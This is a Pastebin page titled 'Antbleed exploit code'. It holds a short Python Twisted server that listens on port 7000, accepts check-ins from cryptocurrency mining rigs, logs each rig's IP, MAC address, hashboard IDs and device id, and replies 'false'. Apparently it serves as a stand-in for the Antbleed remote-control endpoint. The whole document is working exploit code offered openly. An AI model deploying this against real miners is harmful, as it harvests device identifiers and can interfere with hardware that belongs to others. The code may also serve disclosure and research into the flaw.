daily pastebin goal
22%
SHARE
TWEET

Antbleed exploit code

a guest Apr 26th, 2017 5,523 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. from __future__ import print_function
  3. from twisted.internet.protocol import Protocol, Factory
  4. from twisted.internet import reactor
  5. from pprint import pprint
  6. import json
  7.  
  8.  
  9. class Echo(Protocol):
  10.     def dataReceived(self, data):
  11.         print("data received")
  12.         miner = json.loads(data)
  13.         mac = miner['ctrl_board']
  14.         hashboard = miner['hashboard']
  15.         board1 = hashboard[0]['ID']
  16.         board2 = hashboard[1]['ID']
  17.         board3 = hashboard[2]['ID']
  18.         id= miner['id']
  19.         ip = self.transport.getPeer()
  20.         print("IP " + str(ip))
  21.         print("mac " + mac)
  22.         print("board 1 " + board1)
  23.         print("board 2 " + board2)
  24.         print("board 3 " + board3)
  25.         print("id " + id)
  26.         boards = {
  27.             "board1": board1,
  28.             "board2": board2,
  29.             "board3": board3,
  30.             "id": id
  31.         }
  32.         self.transport.write("false")
  33.         pprint(boards)
  34.  
  35.  
  36. def main():
  37.     f = Factory()
  38.     f.protocol = Echo
  39.     reactor.listenTCP(7000, f)
  40.     reactor.run()
  41.  
  42. if __name__ == '__main__':
  43.     main()
RAW Paste Data
Top